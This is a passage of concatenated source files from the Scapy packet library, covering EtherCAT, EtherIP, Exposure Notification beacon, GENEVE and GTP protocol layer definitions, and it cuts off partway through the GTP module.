PHYSICAL_ADDRESSING_DESC LOGICAL_ADDRESSING_DESC = [ ByteField('idx', 0), LEIntField('adr', 0), LEBitFieldLenField('len', None, 11, count_of='data'), LEBitField('_reserved', 0, 3), LEBitEnumField('c', 0, 1, ETHERCAT_TYPE_12_CIRCULATING_FRAME), LEBitEnumField('next', None, 1, ETHERCAT_TYPE_12_NEXT_FRAME), LEShortField('irq', 0), FieldListField('data', [], ByteField('', 0x00), count_from=lambda pkt: pkt.len), LEShortField('wkc', 0) ] ################ # read messages ################ class EtherCatAPRD(EtherCatType12DLPDU): """ APRD - Auto Increment Physical Read (IEC 61158-5-12, sec. 5.4.1.2 tab. 14 / p. 32) """ fields_desc = [ByteField('_cmd', 0x01)] + \ EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC class EtherCatFPRD(EtherCatType12DLPDU): """ FPRD - Configured address physical read (IEC 61158-5-12, sec. 5.4.1.3 tab. 15 / p. 33) """ fields_desc = [ByteField('_cmd', 0x04)] + \ EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC class EtherCatBRD(EtherCatType12DLPDU): """ BRD - Broadcast read (IEC 61158-5-12, sec. 5.4.1.4 tab. 16 / p. 34) """ fields_desc = [ByteField('_cmd', 0x07)] + \ EtherCatType12DLPDU.BROADCAST_ADDRESSING_DESC class EtherCatLRD(EtherCatType12DLPDU): """ LRD - Logical read (IEC 61158-5-12, sec. 5.4.1.5 tab. 17 / p. 36) """ fields_desc = [ByteField('_cmd', 0x0a)] + \ EtherCatType12DLPDU.LOGICAL_ADDRESSING_DESC ################# # write messages ################# class EtherCatAPWR(EtherCatType12DLPDU): """ APWR - Auto Increment Physical Write (IEC 61158-5-12, sec. 5.4.2.2 tab. 18 / p. 37) """ fields_desc = [ByteField('_cmd', 0x02)] + \ EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC class EtherCatFPWR(EtherCatType12DLPDU): """ FPWR - Configured address physical write (IEC 61158-5-12, sec. 5.4.2.3 tab. 19 / p. 38) """ fields_desc = [ByteField('_cmd', 0x05)] + \ EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC class EtherCatBWR(EtherCatType12DLPDU): """ BWR - Broadcast read (IEC 61158-5-12, sec. 5.4.2.4 tab. 20 / p. 39) """ fields_desc = [ByteField('_cmd', 0x08)] + \ EtherCatType12DLPDU.BROADCAST_ADDRESSING_DESC class EtherCatLWR(EtherCatType12DLPDU): """ LWR - Logical write (IEC 61158-5-12, sec. 5.4.2.5 tab. 21 / p. 40) """ fields_desc = [ByteField('_cmd', 0x0b)] + \ EtherCatType12DLPDU.LOGICAL_ADDRESSING_DESC ###################### # read/write messages ###################### class EtherCatAPRW(EtherCatType12DLPDU): """ APRW - Auto Increment Physical Read Write (IEC 61158-5-12, sec. 5.4.3.1 tab. 22 / p. 41) """ fields_desc = [ByteField('_cmd', 0x03)] + \ EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC class EtherCatFPRW(EtherCatType12DLPDU): """ FPRW - Configured address physical read write (IEC 61158-5-12, sec. 5.4.3.2 tab. 23 / p. 43) """ fields_desc = [ByteField('_cmd', 0x06)] + \ EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC class EtherCatBRW(EtherCatType12DLPDU): """ BRW - Broadcast read write (IEC 61158-5-12, sec. 5.4.3.3 tab. 24 / p. 39) """ fields_desc = [ByteField('_cmd', 0x09)] + \ EtherCatType12DLPDU.BROADCAST_ADDRESSING_DESC class EtherCatLRW(EtherCatType12DLPDU): """ LRW - Logical read write (IEC 61158-5-12, sec. 5.4.3.4 tab. 25 / p. 45) """ fields_desc = [ByteField('_cmd', 0x0c)] + \ EtherCatType12DLPDU.LOGICAL_ADDRESSING_DESC class EtherCatARMW(EtherCatType12DLPDU): """ ARMW - Auto increment physical read multiple write (IEC 61158-5-12, sec. 5.4.3.5 tab. 26 / p. 46) """ fields_desc = [ByteField('_cmd', 0x0d)] + \ EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC class EtherCatFRMW(EtherCatType12DLPDU): """ FRMW - Configured address physical read multiple write (IEC 61158-5-12, sec. 5.4.3.6 tab. 27 / p. 47) """ fields_desc = [ByteField('_cmd', 0x0e)] + \ EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC class EtherCat(Packet): """ Common EtherCat header layer """ ETHER_HEADER_LEN = 14 ETHER_FSC_LEN = 4 ETHER_FRAME_MIN_LEN = 64 ETHERCAT_HEADER_LEN = 2 FRAME_TYPES = { 0x01: 'TYPE-12-PDU', 0x04: 'NETWORK-VARIABLES', 0x05: 'MAILBOX' } fields_desc = [ LEBitField('length', 0, 11), LEBitField('_reserved', 0, 1), LEBitField('type', 0, 4), ] ETHERCAT_TYPE12_DLPDU_TYPES = { 0x01: EtherCatAPRD, 0x04: EtherCatFPRD, 0x07: EtherCatBRD, 0x0a: EtherCatLRD, 0x02: EtherCatAPWR, 0x05: EtherCatFPWR, 0x08: EtherCatBWR, 0x0b: EtherCatLWR, 0x03: EtherCatAPRW, 0x06: EtherCatFPRW, 0x09: EtherCatBRW, 0x0c: EtherCatLRW, 0x0d: EtherCatARMW, 0x0e: EtherCatFRMW } def post_build(self, pkt, pay): """ need to set the length of the whole PDU manually to avoid any bit fiddling use a dummy class to build the layer content also add padding if frame is < 64 bytes Note: padding only handles Ether/n*Dot1Q/EtherCat (no special mumbo jumbo) :param pkt: raw string containing the current layer :param pay: raw string containing the payload :return: + payload """ class _EtherCatLengthCalc(Packet): """ dummy class used to generate str representation easily """ fields_desc = [ LEBitField('length', None, 11), LEBitField('_reserved', 0, 1), LEBitField('type', 0, 4), ] payload_len = len(pay) # length field is 11 bit if payload_len > 2047: raise ValueError('payload size {} exceeds maximum length {} ' 'of EtherCat message.'.format(payload_len, 2047)) self.length = payload_len vlan_headers_total_size = 0 upper_layer = self.underlayer # add size occupied by VLAN tags while upper_layer and isinstance(upper_layer, Dot1Q): vlan_headers_total_size += 4 upper_layer = upper_layer.underlayer if not isinstance(upper_layer, Ether): raise Exception('missing Ether layer') pad_len = EtherCat.ETHER_FRAME_MIN_LEN - (EtherCat.ETHER_HEADER_LEN + vlan_headers_total_size + EtherCat.ETHERCAT_HEADER_LEN + # noqa: E501 payload_len + EtherCat.ETHER_FSC_LEN) if pad_len > 0: pad = Padding() pad.load = b'\x00' * pad_len return raw(_EtherCatLengthCalc(length=self.length, type=self.type)) + pay + raw(pad) return raw(_EtherCatLengthCalc(length=self.length, type=self.type)) + pay def guess_payload_class(self, payload): try: dlpdu_type = payload[0] return EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[dlpdu_type] except KeyError: log_runtime.error( '{}.guess_payload_class() - unknown or invalid ' 'DLPDU type'.format(self.__class__.__name__)) return Packet.guess_payload_class(self, payload) bind_layers(Ether, EtherCat, type=0x88a4) bind_layers(Dot1Q, EtherCat, type=0x88a4) # bindings for DLPDUs bind_layers(EtherCat, EtherCatAPRD, type=0x01) bind_layers(EtherCat, EtherCatFPRD, type=0x01) bind_layers(EtherCat, EtherCatBRD, type=0x01) bind_layers(EtherCat, EtherCatLRD, type=0x01) bind_layers(EtherCat, EtherCatAPWR, type=0x01) bind_layers(EtherCat, EtherCatFPWR, type=0x01) bind_layers(EtherCat, EtherCatBWR, type=0x01) bind_layers(EtherCat, EtherCatLWR, type=0x01) bind_layers(EtherCat, EtherCatAPRW, type=0x01) bind_layers(EtherCat, EtherCatFPRW, type=0x01) bind_layers(EtherCat, EtherCatBRW, type=0x01) bind_layers(EtherCat, EtherCatLRW, type=0x01) bind_layers(EtherCat, EtherCatARMW, type=0x01) bind_layers(EtherCat, EtherCatFRMW, type=0x01) ================================================ FILE: scapy/contrib/etherip.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = EtherIP # scapy.contrib.status = loads from scapy.fields import BitField from scapy.packet import Packet, bind_layers from scapy.layers.inet import IP from scapy.layers.l2 import Ether class EtherIP(Packet): name = "EtherIP / RFC 3378" fields_desc = [BitField("version", 3, 4), BitField("reserved", 0, 12)] bind_layers(IP, EtherIP, frag=0, proto=0x61) bind_layers(EtherIP, Ether) ================================================ FILE: scapy/contrib/exposure_notification.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2020 Michael Farrell # scapy.contrib.description = Apple/Google Exposure Notification System (ENS) # scapy.contrib.status = loads """ Apple/Google Exposure Notification System (ENS), formerly known as Privacy-Preserving Contact Tracing Project. This module parses the Bluetooth Low Energy beacon payloads used by the system. This does **not** yet implement any cryptographic functionality. More info: * `Apple: Privacy-Preserving Contact Tracing`__ * `Google: Exposure Notifications`__ * `Wikipedia: Exposure Notification`__ __ https://www.apple.com/covid19/contacttracing/ __ https://www.google.com/covid19/exposurenotifications/ __ https://en.wikipedia.org/wiki/Exposure_Notification Bluetooth protocol specifications: * `v1.1`_ (April 2020) * `v1.2`_ (April 2020) .. _v1.1: https://blog.google/documents/58/Contact_Tracing_-_Bluetooth_Specification_v1.1_RYGZbKW.pdf .. _v1.2: https://covid19-static.cdn-apple.com/applications/covid19/current/static/contact-tracing/pdf/ExposureNotification-BluetoothSpecificationv1.2.pdf """ # noqa: E501 from scapy.fields import StrFixedLenField from scapy.layers.bluetooth import EIR_Hdr, EIR_ServiceData16BitUUID, \ EIR_CompleteList16BitServiceUUIDs, LowEnergyBeaconHelper from scapy.packet import bind_layers, Packet EXPOSURE_NOTIFICATION_UUID = 0xFD6F class Exposure_Notification_Frame(Packet, LowEnergyBeaconHelper): """Apple/Google BLE Exposure Notification broadcast frame.""" name = "Exposure Notification broadcast" fields_desc = [ # Rolling Proximity Identifier StrFixedLenField("identifier", None, 16), # Associated Encrypted Metadata (added in v1.2) StrFixedLenField("metadata", None, 4), ] def build_eir(self): """Builds a list of EIR messages to wrap this frame.""" return LowEnergyBeaconHelper.base_eir + [ EIR_Hdr() / EIR_CompleteList16BitServiceUUIDs(svc_uuids=[ EXPOSURE_NOTIFICATION_UUID]), EIR_Hdr() / EIR_ServiceData16BitUUID() / self ] bind_layers(EIR_ServiceData16BitUUID, Exposure_Notification_Frame, svc_uuid=EXPOSURE_NOTIFICATION_UUID) ================================================ FILE: scapy/contrib/geneve.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2018 Hao Zheng # scapy.contrib.description = Generic Network Virtualization Encapsulation (GENEVE) # scapy.contrib.status = loads """ Geneve: Generic Network Virtualization Encapsulation https://datatracker.ietf.org/doc/html/rfc8926 """ import struct from scapy.fields import BitField, XByteField, XShortEnumField, X3BytesField, StrLenField, PacketListField from scapy.packet import Packet, bind_layers from scapy.layers.inet import IP, UDP from scapy.layers.inet6 import IPv6 from scapy.layers.l2 import Ether, ETHER_TYPES CLASS_IDS = {0x0100: "Linux", 0x0101: "Open vSwitch", 0x0102: "Open Virtual Networking (OVN)", 0x0103: "In-band Network Telemetry (INT)", 0x0104: "VMware", 0x0105: "Amazon.com, Inc.", 0x0106: "Cisco Systems, Inc.", 0x0107: "Oracle Corporation", 0x0110: "Amazon.com, Inc.", 0x0118: "IBM", 0x0128: "Ericsson", 0xFEFF: "Unassigned", 0xFFFF: "Experimental"} class GeneveOptions(Packet): name = "Geneve Options" fields_desc = [XShortEnumField("classid", 0x0000, CLASS_IDS), XByteField("type", 0x00), BitField("reserved", 0, 3), BitField("length", None, 5), StrLenField('data', '', length_from=lambda x: x.length * 4)] def extract_padding(self, s): return "", s def post_build(self, p, pay): if self.length is None: tmp_len = len(self.data) // 4 p = p[:3] + struct.pack("!B", (p[3] & 0x3) | (tmp_len & 0x1f)) + p[4:] return p + pay class GENEVE(Packet): name = "GENEVE" fields_desc = [BitField("version", 0, 2), BitField("optionlen", None, 6), BitField("oam", 0, 1), BitField("critical", 0, 1), BitField("reserved", 0, 6), XShortEnumField("proto", 0x0000, ETHER_TYPES), X3BytesField("vni", 0), XByteField("reserved2", 0x00), PacketListField("options", [], GeneveOptions, length_from=lambda pkt: pkt.optionlen * 4)] def post_build(self, p, pay): if self.optionlen is None: tmp_len = (len(p) - 8) // 4 p = struct.pack("!B", (p[0] & 0xc0) | (tmp_len & 0x3f)) + p[1:] return p + pay def answers(self, other): if isinstance(other, GENEVE): if ((self.proto == other.proto) and (self.vni == other.vni)): return self.payload.answers(other.payload) else: return self.payload.answers(other) return 0 def mysummary(self): return self.sprintf("GENEVE (vni=%GENEVE.vni%," "optionlen=%GENEVE.optionlen%," "proto=%GENEVE.proto%)") bind_layers(UDP, GENEVE, dport=6081) bind_layers(GENEVE, Ether, proto=0x6558) bind_layers(GENEVE, IP, proto=0x0800) bind_layers(GENEVE, IPv6, proto=0x86dd) ================================================ FILE: scapy/contrib/gtp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2018 Leonardo Monteiro # 2017 Alexis Sultan # 2017 Alessio Deiana # 2014 Guillaume Valadon # 2012 ffranz # scapy.contrib.description = GPRS Tunneling Protocol (GTP) # scapy.contrib.status = loads """ GPRS Tunneling Protocol (GTP) Spec: 3GPP TS 29.060 and 3GPP TS 29.274 Some IEs: 3GPP TS 24.008 """ import struct from scapy.compat import chb, orb, bytes_encode from scapy.config import conf from scapy.error import warning from scapy.fields import ( BitEnumField, BitField, ByteEnumField, ByteField, ConditionalField, FieldLenField, FieldListField, FlagsField, IPField, IntField, PacketListField, ShortField, StrFixedLenField, StrLenField, X3BytesField, XBitField, XByteField, XIntField, ) from scapy.layers.inet import IP, UDP from scapy.layers.inet6 import IPv6, IP6Field from scapy.layers.ppp import PPP from scapy.layers.dns import DNSStrField from scapy.packet import bind_layers, bind_bottom_up, bind_top_down, \ Packet, Raw from scapy.volatile import RandInt, RandIP, RandNum, RandString # GTP Data types RATType = { 1: "UTRAN", 2: "GETRAN", 3: "WLAN", 4: "GAN", 5: "HSPA" } GTPmessageType = {1: "echo_request", 2: "echo_response", 16: "create_pdp_context_req", 17: "create_pdp_context_res", 18: "update_pdp_context_req", 19: "update_pdp_context_resp", 20: "delete_pdp_context_req", 21: "delete_pdp_context_res", 26: "error_indication", 27: "pdu_notification_req", 31: "supported_extension_headers_notification", 254: "end_marker", 255: "g_pdu"} IEType = {1: "Cause", 2: "IMSI", 3: "RAI", 4: "TLLI", 5: "P_TMSI", 8: "IE_ReorderingRequired", 14: "Recovery", 15: "SelectionMode", 16: "TEIDI", 17: "TEICP", 19: "TeardownInd", 20: "NSAPI", 26: "ChargingChrt", 27: "TraceReference", 28: "TraceType", 127: "ChargingId", 128: "EndUserAddress", 131: "AccessPointName", 132: "ProtocolConfigurationOptions", 133: "GSNAddress", 134: "MSInternationalNumber", 135: "QoS", 148: "CommonFlags", 149: "APNRestriction", 151: "RatType", 152: "UserLocationInformation", 153: "MSTimeZone", 154: "IMEI", 181: "MSInfoChangeReportingAction", 184: "BearerControlMode", 191: "EvolvedAllocationRetentionPriority", 255: "PrivateExtention"} CauseValues = {0: "Request IMSI", 1: "Request IMEI", 2: "Request IMSI and IMEI", 3: "No identity needed", 4: "MS Refuses", 5: "MS is not GPRS Responding", 128: "Request accepted", 129: "New PDP type due to network preference", 130: "New PDP type due to single address bearer only", 192: "Non-existent", 193: "Invalid message format", 194: "IMSI not known", 195: "MS is GPRS Detached", 196: "MS is not GPRS Responding", 197: "MS Refuses", 198: "Version not supported", 199: "No resources available", 200: "Service not supported", 201: "Mandatory IE incorrect", 202: "Mandatory IE missing", 203: "Optional IE incorrect", 204: "System failure", 205: "Roaming restriction", 206: "P-TMSI Signature mismatch", 207: "GPRS connection suspended", 208: "Authentication failure", 209: "User authentication failed", 210: "Context not found", 211: "All dynamic PDP addresses are occupied", 212: "No memory is available", 213: "Reallocation failure", 214: "Unknown mandatory extension header", 215: "Semantic error in the TFT operation", 216: "Syntactic error in TFT operation", 217: "Semantic errors in packet filter(s)", 218: "Syntactic errors in packet filter(s)", 219: "Missing or unknown APN", 220: "Unknown PDP address or PDP type", 221: "PDP context without TFT already activated", 222: "APN access denied : no subscription", 223: "APN Restriction type incompatibility with currently active PDP Contexts", # noqa: E501 224: "MS MBMS Capabilities Insufficient", 225: "Invalid Correlation : ID", 226: "MBMS Bearer Context Superseded", 227: "Bearer Control Mode violation", 228: "Collision with network initiated request"} Selection_Mode = {11111100: "MS or APN", 11111101: "MS", 11111110: "NET", 11111111: "FutureUse"} TrueFalse_value = {254: "False", 255: "True"} # http://www.arib.or.jp/IMT-2000/V720Mar09/5_Appendix/Rel8/29/29281-800.pdf ExtensionHeadersTypes = { 0: "No more extension headers", 1: "Reserved", 2: "Reserved", 64: "UDP Port", 133: "PDU Session Container", 192: "PDCP PDU Number", 193: "Reserved", 194: "Reserved" } class TBCDByteField(StrFixedLenField): def i2h(self, pkt, val): return val def m2i(self, pkt, val): ret = [] for v in val: byte = orb(v) left = byte >> 4 right = byte & 0xf if left == 0xf: ret.append(TBCD_TO_ASCII[right:right + 1]) else: ret += [ TBCD_TO_ASCII[right:right + 1], TBCD_TO_ASCII[left:left + 1] ] return b"".join(ret) def i2m(self, pkt, val): if not isinstance(val, bytes): val = bytes_encode(val) ret_string = b"" for i in range(0, len(val), 2): tmp = val[i:i + 2] if len(tmp) == 2: ret_string += chb(int(tmp[::-1], 16)) else: ret_string += chb(int(b"F" + tmp[:1], 16)) return ret_string class FQDNField(DNSStrField): """ DNSStrField without ending null. See ETSI TS 129.244 18.07.00 - 8.66, NOTE 1 """ def h2i(self, pkt, x): return bytes_encode(x) def i2m(self, pkt, x): return b"".join(chb(len(y)) + y for y in (k[:63] for k in x.split(b"."))) def getfield(self, pkt, s): remain, s = super().getfield(pkt, s) return remain, s[:-1] TBCD_TO_ASCII = b"0123456789*#abc" class GTP_ExtensionHeader(Packet): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt is None: return GTP_UDPPort_ExtensionHeader return cls class GTP_UDPPort_ExtensionHeader(GTP_ExtensionHeader): fields_desc = [ByteField("length", 0x01), ShortField("udp_port", None), ByteEnumField("next_ex", 0, ExtensionHeadersTypes), ] class GTP_PDCP_PDU_ExtensionHeader(GTP_ExtensionHeader): fields_desc = [ByteField("length", 0x01), ShortField("pdcp_pdu", None), ByteEnumField("next_ex", 0, ExtensionHeadersTypes), ] class GTPHeader(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP-C Header" fields_desc = [BitField("version", 1, 3), BitField("PT", 1, 1), BitField("reserved", 0, 1), BitField("E", 0, 1), BitField("S", 0, 1), BitField("PN", 0, 1), ByteEnumField("gtp_type", None, GTPmessageType), ShortField("length", None), IntField("teid", 0), ConditionalField( XBitField("seq", 0, 16), lambda pkt:pkt.E == 1 or pkt.S == 1 or pkt.PN == 1), ConditionalField( ByteField("npdu", 0), lambda pkt:pkt.E == 1 or pkt.S == 1 or pkt.PN == 1), ConditionalField( ByteEnumField("next_ex", 0, ExtensionHeadersTypes), lambda pkt:pkt.E == 1 or pkt.S == 1 or pkt.PN == 1), ] def post_build(self, p, pay): p += pay if self.length is None: # The message length field is calculated different in GTPv1 and GTPv2. # noqa: E501 # For GTPv1 it is defined as the rest of the packet following the mandatory 8-byte GTP header # noqa: E501 # For GTPv2 it is defined as the length of the message in bytes excluding the mandatory part of the GTP-C header (the first 4 bytes) # noqa: E501 tmp_len = len(p) - 4 if self.version == 2 else len(p) - 8 p = p[:2] + struct.pack("!H", tmp_len) + p[4:] return p def hashret(self): hsh = struct.pack("B", self.version) if self.seq: hsh += struct.pack("H", self.seq) return hsh + self.payload.hashret() def answers(self, other): return (isinstance(other, GTPHeader) and self.version == other.version and (not self.seq or self.seq == other.seq) and self.payload.answers(other.payload)) @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 1: if (orb(_pkt[0]) >> 5) & 0x7 == 2: from . import gtp_v2 return gtp_v2.GTPHeader if _pkt and len(_pkt) >= 8: _gtp_type = orb(_pkt[1:2]) return GTPforcedTypes.get(_gtp_type, GTPHeader) return cls class GTP_U_Header(GTPHeader): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP-U Header" # GTP-U protocol is used to transmit T-PDUs between GSN pairs (or between an SGSN and an RNC in UMTS), # noqa: E501 # encapsulated in G-PDUs. A G-PDU is a packet including a GTP-U header and a T-PDU. The Path Protocol # noqa: E501 # defines the path and the GTP-U header defines the tunnel. Several tunnels may be multiplexed on a single path. # noqa: E501 def guess_payload_class(self, payload): # Snooped from Wireshark # https://github.com/boundary/wireshark/blob/07eade8124fd1d5386161591b52e177ee6ea849f/epan/dissectors/packet-gtp.c#L8195 # noqa: E501 if self.E == 1: if self.next_ex == 0x85: return GTPPDUSessionContainer return GTPHeader.guess_payload_class(self, payload) if self.gtp_type == 255: sub_proto = orb(payload[0]) if sub_proto >= 0x45 and sub_proto <= 0x4e: return IP elif (sub_proto & 0xf0) == 0x60: return IPv6 else: return PPP return GTPHeader.guess_payload_class(self, payload) # Some gtp_types have to be associated with a certain type of header GTPforcedTypes = { 16: GTPHeader, 17: GTPHeader, 18: GTPHeader, 19: GTPHeader, 20: GTPHeader, 21: GTPHeader, 26: GTP_U_Header, 27: GTPHeader, 254: GTP_U_Header, 255: GTP_U_Header } class GTPPDUSessionContainer(Packet): # TS 38.415-g30 sect 5 name = "GTP PDU Session Container" deprecated_fields = { "qmp": ("QMP", "2.4.5"), "P": ("PPP", "2.4.5"), "R": ("RQI", "2.4.5"), "extraPadding": ("padding", "2.4.5"), } fields_desc = [ByteField("ExtHdrLen", None), BitEnumField("type", 0, 4, {0: "DL PDU SESSION INFORMATION", 1: "UL PDU SESSION INFORMATION"}), BitField("QMP", 0, 1), # UL (type 1) ConditionalField(BitField("dlDelayInd", 0, 1), lambda pkt: pkt.type == 1), ConditionalField(BitField("ulDelayInd", 0, 1), lambda pkt: pkt.type == 1), # Common BitField("SNP", 0, 1), # UL (type 1) ConditionalField(BitField("N3N9DelayInd", 0, 1), lambda pkt: pkt.type == 1), ConditionalField(XBitField("spareUl1", 0, 1), lambda pkt: pkt.type == 1), # DL (type 0) ConditionalField(XBitField("spareDl1", 0, 2), lambda pkt: pkt.type == 0), ConditionalField(BitField("PPP", 0, 1), lambda pkt: pkt.type == 0), ConditionalField(BitField("RQI", 0, 1), lambda pkt: pkt.type == 0), # Common BitField("QFI", 0, 6), # QoS Flow Identifier # DL (type 0) ConditionalField(XBitField("PPI", 0, 3), lambda pkt: pkt.type == 0 and pkt.PPP == 1), ConditionalField(XBitField("spareDl2", 0, 5), lambda pkt: pkt.type == 0 and pkt.PPP == 1), ConditionalField(XBitField("dlSendTime", 0, 64), lambda pkt: pkt.type == 0 and pkt.QMP == 1), ConditionalField(X3BytesField("dlQFISeqNum", 0), lambda pkt: pkt.type == 0 and pkt.SNP == 1), # UL (type 1) ConditionalField(XBitField("dlSendTimeRpt", 0, 64), lambda pkt: pkt.type == 1 and pkt.QMP == 1), ConditionalField(XBitField("dlRecvTime", 0, 64), lambda pkt: pkt.type == 1 and pkt.QMP == 1), ConditionalField(XBitField("ulSendTime", 0, 64), lambda pkt: pkt.type == 1 and pkt.QMP == 1), ConditionalField(XBitField("dlDelayRslt", 0, 32), lambda pkt: pkt.type == 1 and pkt.dlDelayInd == 1), ConditionalField(XBitField("ulDelayRslt", 0, 32), lambda pkt: pkt.type == 1 and pkt.ulDelayInd == 1), ConditionalField(XBitField("UlQFISeqNum", 0, 24), lambda pkt: pkt.type == 1 and pkt.SNP == 1), ConditionalField(XBitField("N3N9DelayRslt", 0, 32), lambda pkt: pkt.type == 1 and pkt.N3N9DelayInd == 1), # Common ByteEnumField("NextExtHdr", 0, ExtensionHeadersTypes), ConditionalField( StrLenField("padding", b"", length_from=lambda p: 0), lambda pkt: pkt.NextExtHdr == 0)] def guess_payload_class(self, payload): if self.NextExtHdr == 0: sub_proto = orb(payload[0]) if sub_proto >= 0x45 and sub_proto <= 0x4e: return IP elif (sub_proto & 0xf0) == 0x60: return IPv6 else: return PPP return GTPHeader.guess_payload_class(self, payload) def post_dissect(self, s): if self.NextExtHdr == 0: # Padding is handled in this layer length = len(self.original) - len(s) pad_length = (- length) % 4 self.padding = s[:pad_length] return s[pad_length:] return s def post_build(self, p, pay): # Length if self.NextExtHdr == 0: p += b"\x00" * ((-len(p)) % 4) else: pay += b"\x00" * ((-len(p + pay)) % 4) if self.ExtHdrLen is None: p = struct.pack("!B", len(p) // 4) + p[1:] return p + pay class GTPEchoRequest(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Echo Request" class IE_Base(Packet): def extract_padding(self, pkt): return "", pkt def post_build(self, p, pay): if self.fields_desc[1].name == "length": if self.length is None: tmp_len = len(p) if isinstance(self.payload, conf.padding_layer): tmp_len += len(self.payload.load) p = p[:1] + struct.pack("!H", tmp_len - 4) + p[3:] return p + pay class IE_Cause(IE_Base): name = "Cause" fields_desc = [ByteEnumField("ietype", 1, IEType), ByteEnumField("CauseValue", None, CauseValues)] class IE_IMSI(IE_Base): name = "IMSI - Subscriber identity of the MS" fields_desc = [ByteEnumField("ietype", 2, IEType), TBCDByteField("imsi", str(RandNum(0, 999999999999999)), 8)] class IE_Routing(IE_Base): name = "Routing Area Identity" fields_desc = [ByteEnumField("ietype", 3, IEType), TBCDByteField("MCC", "", 2), # MNC: if the third digit of MCC is 0xf, # then the length of MNC is 1 byte TBCDByteField("MNC", "", 1), ShortField("LAC", None), ByteField("RAC", None)] class IE_ReorderingRequired(IE_Base): name = "Recovery" fields_desc = [ByteEnumField("ietype", 8, IEType), ByteEnumField("reordering_required", 254, TrueFalse_value)] class IE_Recovery(IE_Base): name = "Recovery" fields_desc = [ByteEnumField("ietype", 14, IEType), ByteField("restart_counter", 24)] class IE_SelectionMode(IE_Base): # Indicates the origin of the APN in the message name = "Selection Mode" fields_desc = [ByteEnumField("ietype", 15, IEType), BitEnumField("SelectionMode", "MS or APN", 8, Selection_Mode)] class IE_TEIDI(IE_Base): name = "Tunnel Endpoint Identifier Data" fields_desc = [ByteEnumField("ietype", 16, IEType), XIntField("TEIDI", RandInt())] class IE_TEICP(IE_Base): name = "Tunnel Endpoint Identifier Control Plane" fields_desc = [ByteEnumField("ietype", 17, IEType), XIntField("TEICI", RandInt())] class IE_Teardown(IE_Base): name = "Teardown Indicator" fields_desc = [ByteEnumField("ietype", 19, IEType), ByteEnumField("indicator", "True", TrueFalse_value)] class IE_NSAPI(IE_Base): # Identifies a PDP context in a mobility management context specified by TEICP # noqa: E501 name = "NSAPI" fields_desc = [ByteEnumField("ietype", 20, IEType), XBitField("sparebits", 0x0000, 4), XBitField("NSAPI", RandNum(0, 15), 4)] class IE_ChargingCharacteristics(IE_Base): # Way of informing both the SGSN and GGSN of the rules for name = "Charging Characteristics" fields_desc = [ByteEnumField("ietype", 26, IEType), # producing charging information based on operator configured triggers. # noqa: E501 # 0000 .... .... .... : spare # .... 1... .... .... : normal charging # .... .0.. .... .... : prepaid charging # .... ..0. .... .... : flat rate charging # .... ...0 .... .... : hot billing charging # .... .... 0000 0000 : reserved XBitField("Ch_ChSpare", None, 4), XBitField("normal_charging", None, 1), XBitField("prepaid_charging", None, 1), XBitField("flat_rate_charging", None, 1), XBitField("hot_billing_charging", None, 1), XBitField("Ch_ChReserved", 0, 8)] class IE_TraceReference(IE_Base): # Identifies a record or a collection of records for a particular trace. name = "Trace Reference" fields_desc = [ByteEnumField("ietype", 27, IEType), XBitField("Trace_reference", None, 16)] class IE_TraceType(IE_Base): # Indicates the type of the trace name = "Trace Type" fields_desc = [ByteEnumField("ietype", 28, IEType), XBitField("Trace_type", None, 16)] class IE_ChargingId(IE_Base): name = "Charging ID" fields_desc = [ByteEnumField("ietype", 127, IEType), XIntField("Charging_id", RandInt())] class IE_EndUserAddress(IE_Base): # Supply protocol specific information of the external packet name = "End User Address" fields_desc = [ByteEnumField("ietype", 128, IEType), # data network accessed by the GGPRS subscribers. # - Request # 1 Type (1byte) # 2-3 Length (2bytes) - value 2 # 4 Spare + PDP Type Organization # 5 PDP Type Number # - Response # 6-n PDP Address ShortField("length", 2), BitField("SPARE", 15, 4), BitField("PDPTypeOrganization", 1, 4), XByteField("PDPTypeNumber", None), ConditionalField(IPField("PDPAddress", RandIP()), lambda pkt: pkt.length == 6 or pkt.length == 22), # noqa: E501 ConditionalField(IP6Field("IPv6_PDPAddress", '::1'), lambda pkt: pkt.length == 18 or pkt.length == 22)] # noqa: E501 class APNStrLenField(StrLenField): # Inspired by DNSStrField def m2i(self, pkt, s): ret_s = b"" tmp_s = s while tmp_s: tmp_len = orb(tmp_s[0]) + 1 if tmp_len > len(tmp_s): warning("APN prematured end of character-string (size=%i, remaining bytes=%i)" % (tmp_len, len(tmp_s))) # noqa: E501 ret_s += tmp_s[1:tmp_len] tmp_s = tmp_s[tmp_len:] if len(tmp_s): ret_s += b"." s = ret_s return s def i2m(self, pkt, s): if not isinstance(s, bytes): s = bytes_encode(s) s = b"".join(chb(len(x)) + x for x in s.split(b".")) return s class IE_AccessPointName(IE_Base): # Sent by SGSN or by GGSN as defined in 3GPP TS 23.060 name = "Access Point Name" fields_desc = [ByteEnumField("ietype", 131, IEType), ShortField("length", None), APNStrLenField("APN", "nternet", length_from=lambda x: x.length)] # noqa: E501 def post_build(self, p, pay): if self.length is None: tmp_len = len(p) - 3 p = p[:2] + struct.pack("!B", tmp_len) + p[3:] return p class IE_ProtocolConfigurationOptions(IE_Base): name = "Protocol Configuration Options" fields_desc = [ByteEnumField("ietype", 132, IEType), ShortField("length", 4), StrLenField("Protocol_Configuration", "", length_from=lambda x: x.length)] class 